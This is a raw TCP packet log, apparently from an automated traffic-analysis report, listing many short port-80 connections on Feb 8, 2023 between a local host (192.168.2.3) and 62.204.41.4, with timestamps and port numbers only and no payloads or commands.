Feb 8, 2023 21:31:33.713905096 CET	49767	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:33.715811968 CET	80	49768	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:33.716065884 CET	49768	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:33.720031977 CET	49768	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:33.782958031 CET	80	49768	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:33.785187006 CET	80	49768	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:33.785417080 CET	49768	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:34.549817085 CET	49768	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:34.612740993 CET	80	49768	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:34.613019943 CET	49768	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:34.647905111 CET	49769	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:34.707828999 CET	80	49769	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:34.708056927 CET	49769	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:34.756431103 CET	49769	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:34.816983938 CET	80	49769	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:34.819967031 CET	80	49769	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:34.820229053 CET	49769	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:35.121225119 CET	49769	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:35.122170925 CET	49770	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:35.181029081 CET	80	49769	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:35.181206942 CET	49769	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:35.183806896 CET	80	49770	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:35.184009075 CET	49770	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:35.698493004 CET	49770	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:35.760099888 CET	80	49770	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:35.764023066 CET	80	49770	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:35.764202118 CET	49770	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:35.990583897 CET	49770	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:35.991683960 CET	49771	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:36.051990032 CET	80	49771	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:36.052175999 CET	80	49770	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:36.052253962 CET	49771	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:36.052283049 CET	49770	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:36.658549070 CET	49771	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:36.718952894 CET	80	49771	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:36.723408937 CET	80	49771	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:36.723572969 CET	49771	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:36.951472998 CET	49771	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:36.952203035 CET	49772	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:37.011845112 CET	80	49771	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:37.011981964 CET	49771	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:37.014756918 CET	80	49772	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:37.014906883 CET	49772	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:37.016273022 CET	49772	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:37.078855991 CET	80	49772	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:37.082278967 CET	80	49772	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:37.082463980 CET	49772	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:37.208851099 CET	49772	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:37.220601082 CET	49773	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:37.271670103 CET	80	49772	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:37.271856070 CET	49772	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:37.282284975 CET	80	49773	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:37.282517910 CET	49773	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:37.289230108 CET	49773	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:37.350868940 CET	80	49773	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:37.353562117 CET	80	49773	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:37.353775024 CET	49773	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:37.475428104 CET	49773	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:37.476114988 CET	49774	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:37.537112951 CET	80	49773	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:37.537204027 CET	49773	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:37.537513018 CET	80	49774	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:37.537616014 CET	49774	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:37.538022041 CET	49774	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:37.599451065 CET	80	49774	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:37.601814032 CET	80	49774	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:37.601941109 CET	49774	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:37.725080967 CET	49774	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:37.726097107 CET	49775	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:37.786791086 CET	80	49774	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:37.786917925 CET	49774	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:37.788489103 CET	80	49775	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:37.788664103 CET	49775	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:37.801160097 CET	49775	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:37.863670111 CET	80	49775	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:37.866099119 CET	80	49775	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:37.866249084 CET	49775	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:37.980324030 CET	49775	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:37.981213093 CET	49776	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:38.041547060 CET	80	49776	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:38.041667938 CET	49776	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:38.042042017 CET	49776	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:38.042975903 CET	80	49775	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:38.043072939 CET	49775	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:38.102293968 CET	80	49776	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:38.105920076 CET	80	49776	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:38.105998993 CET	49776	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:38.214735985 CET	49776	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:38.215799093 CET	49777	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:38.275367975 CET	80	49776	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:38.275625944 CET	49776	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:38.277373075 CET	80	49777	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:38.277564049 CET	49777	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:38.278119087 CET	49777	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:38.339751959 CET	80	49777	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:38.343957901 CET	80	49777	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:38.344140053 CET	49777	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:38.448596954 CET	49777	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:38.450547934 CET	49778	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:38.509957075 CET	80	49778	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:38.510127068 CET	80	49777	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:38.510193110 CET	49778	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:38.510241032 CET	49777	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:38.510711908 CET	49778	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:38.570184946 CET	80	49778	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:38.572370052 CET	80	49778	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:38.572559118 CET	49778	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:38.685650110 CET	49778	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:38.686572075 CET	49779	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:38.745340109 CET	80	49778	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:38.748941898 CET	80	49779	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:38.749135971 CET	49778	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:38.749169111 CET	49779	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:38.749643087 CET	49779	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:38.812503099 CET	80	49779	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:38.814958096 CET	80	49779	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:38.815146923 CET	49779	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:38.916980028 CET	49779	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:38.917869091 CET	49780	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:38.979531050 CET	80	49779	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:38.979986906 CET	80	49780	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:38.980113029 CET	49779	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:38.980175018 CET	49780	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:38.981621027 CET	49780	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:39.043802977 CET	80	49780	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:39.047365904 CET	80	49780	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:39.047646999 CET	49780	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:39.152930021 CET	49780	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:39.153989077 CET	49781	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:39.215353966 CET	80	49780	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:39.215447903 CET	49780	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:39.216294050 CET	80	49781	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:39.216418982 CET	49781	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:39.216996908 CET	49781	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:39.279473066 CET	80	49781	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:39.282100916 CET	80	49781	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:39.282309055 CET	49781	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:39.385585070 CET	49781	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:39.386718035 CET	49782	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:39.448246002 CET	80	49781	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:39.448280096 CET	80	49782	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:39.448453903 CET	49781	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:39.448519945 CET	49782	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:39.471648932 CET	49782	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:39.533344030 CET	80	49782	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:39.536150932 CET	80	49782	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:39.536322117 CET	49782	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:39.685120106 CET	49782	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:39.686223030 CET	49783	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:39.746556997 CET	80	49783	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:39.746596098 CET	80	49782	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:39.746798038 CET	49782	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:39.747318029 CET	49783	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:39.747318029 CET	49783	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:39.807636976 CET	80	49783	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:39.810122013 CET	80	49783	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:39.810305119 CET	49783	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:39.917506933 CET	49783	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:39.918490887 CET	49784	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:39.978961945 CET	80	49783	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:39.979250908 CET	49783	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:39.981986046 CET	80	49784	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:39.982218027 CET	49784	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:39.982750893 CET	49784	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:40.045213938 CET	80	49784	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:40.048814058 CET	80	49784	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:40.049052954 CET	49784	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:40.151925087 CET	49784	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:40.153002977 CET	49785	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:40.214621067 CET	80	49784	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:40.214658976 CET	80	49785	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:40.214814901 CET	49784	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:40.214896917 CET	49785	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:40.215517998 CET	49785	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:40.276839018 CET	80	49785	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:40.279097080 CET	80	49785	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:40.279200077 CET	49785	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:40.385639906 CET	49785	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:40.386643887 CET	49786	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:40.447204113 CET	80	49785	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:40.447251081 CET	80	49786	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:40.447331905 CET	49785	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:40.447412014 CET	49786	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:40.457663059 CET	49786	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:40.518352032 CET	80	49786	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:40.520906925 CET	80	49786	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:40.521047115 CET	49786	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:40.649697065 CET	49786	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:40.652407885 CET	49787	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:40.710541964 CET	80	49786	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:40.710670948 CET	49786	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:40.713063955 CET	80	49787	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:40.713212967 CET	49787	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:40.714503050 CET	49787	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:40.775367975 CET	80	49787	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:40.777539968 CET	80	49787	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:40.777637959 CET	49787	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:40.892412901 CET	49787	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:40.893264055 CET	49788	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:40.953274965 CET	80	49787	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:40.953381062 CET	49787	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:40.953547001 CET	80	49788	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:40.953650951 CET	49788	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:40.954035997 CET	49788	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:41.017565012 CET	80	49788	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:41.018948078 CET	80	49788	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:41.019043922 CET	49788	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:41.136466026 CET	49788	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:41.137554884 CET	49789	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:41.217433929 CET	80	49788	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:41.217464924 CET	80	49789	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:41.217551947 CET	49788	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:41.217645884 CET	49789	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:41.224339962 CET	49789	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:41.285003901 CET	80	49789	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:41.289380074 CET	80	49789	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:41.289540052 CET	49789	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:41.401972055 CET	49789	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:41.402925014 CET	49790	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:41.463128090 CET	80	49789	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:41.463324070 CET	49789	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:41.464502096 CET	80	49790	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:41.464653015 CET	49790	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:41.465182066 CET	49790	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:41.526679039 CET	80	49790	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:41.529822111 CET	80	49790	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:41.533467054 CET	49790	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:41.650860071 CET	49790	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:41.651609898 CET	49791	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:41.712553978 CET	80	49790	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:41.712750912 CET	49790	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:41.712954044 CET	80	49791	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:41.713140011 CET	49791	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:41.723772049 CET	49791	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:41.785283089 CET	80	49791	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:41.787893057 CET	80	49791	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:41.788686991 CET	49791	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:41.906280041 CET	49791	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:41.907289028 CET	49792	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:41.967796087 CET	80	49791	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:41.967839003 CET	80	49792	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:41.968050957 CET	49791	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:41.968133926 CET	49792	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:41.968818903 CET	49792	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:42.029438972 CET	80	49792	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:42.032325029 CET	80	49792	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:42.033546925 CET	49792	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:42.136190891 CET	49792	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:42.137038946 CET	49793	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:42.197156906 CET	80	49792	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:42.197762012 CET	49792	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:42.198575020 CET	80	49793	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:42.201622009 CET	49793	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:42.202188969 CET	49793	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:42.263647079 CET	80	49793	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:42.270839930 CET	80	49793	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:42.271071911 CET	49793	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:42.385735035 CET	49793	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:42.386579037 CET	49794	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:42.447060108 CET	80	49794	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:42.447280884 CET	80	49793	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:42.447508097 CET	49793	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:42.449453115 CET	49794	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:42.450951099 CET	49794	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:42.511200905 CET	80	49794	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:42.513572931 CET	80	49794	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:42.513709068 CET	49794	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:42.621248007 CET	49794	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:42.622247934 CET	49795	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:42.681678057 CET	80	49794	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:42.681730032 CET	80	49795	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:42.682734013 CET	49794	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:42.682779074 CET	49795	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:42.683943987 CET	49795	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:42.743427038 CET	80	49795	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:42.746000051 CET	80	49795	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:42.746150970 CET	49795	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:42.861222029 CET	49795	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:42.866367102 CET	49796	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:42.920927048 CET	80	49795	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:42.921009064 CET	49795	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:42.928930044 CET	80	49796	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:42.929194927 CET	49796	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:42.929790974 CET	49796	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:42.992249966 CET	80	49796	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:42.994865894 CET	80	49796	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:42.995054007 CET	49796	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:43.107204914 CET	49796	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:43.108273983 CET	49797	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:43.169600010 CET	80	49797	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:43.169687033 CET	80	49796	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:43.169794083 CET	49797	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:43.169826031 CET	49796	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:43.170404911 CET	49797	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:43.231801033 CET	80	49797	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:43.236171007 CET	80	49797	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:43.236387968 CET	49797	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:43.366791964 CET	49797	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:43.368639946 CET	49798	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:43.428324938 CET	80	49797	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:43.428478003 CET	49797	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:43.429915905 CET	80	49798	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:43.430031061 CET	49798	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:43.430749893 CET	49798	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:43.492266893 CET	80	49798	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:43.495352983 CET	80	49798	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:43.495443106 CET	49798	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:43.605904102 CET	49798	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:43.606920004 CET	49799	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:43.667444944 CET	80	49798	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:43.667557955 CET	49798	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:43.668071032 CET	80	49799	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:43.668219090 CET	49799	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:43.671152115 CET	49799	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:43.732609987 CET	80	49799	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:43.735203028 CET	80	49799	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:43.735316992 CET	49799	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:43.841974974 CET	49799	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:43.842981100 CET	49800	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:43.903563023 CET	80	49800	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:43.903597116 CET	80	49799	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:43.903680086 CET	49800	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:43.903723001 CET	49799	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:43.904290915 CET	49800	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:43.964647055 CET	80	49800	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:43.967133045 CET	80	49800	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:43.967235088 CET	49800	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:44.075231075 CET	49800	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:44.076090097 CET	49801	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:44.136051893 CET	80	49800	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:44.136183023 CET	49800	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:44.136450052 CET	80	49801	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:44.136560917 CET	49801	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:44.140311003 CET	49801	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:44.201775074 CET	80	49801	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:44.205696106 CET	80	49801	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:44.205780983 CET	49801	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:44.313381910 CET	49801	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:44.314270973 CET	49802	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:44.374140978 CET	80	49801	62.204.41.4	192.168.2.3
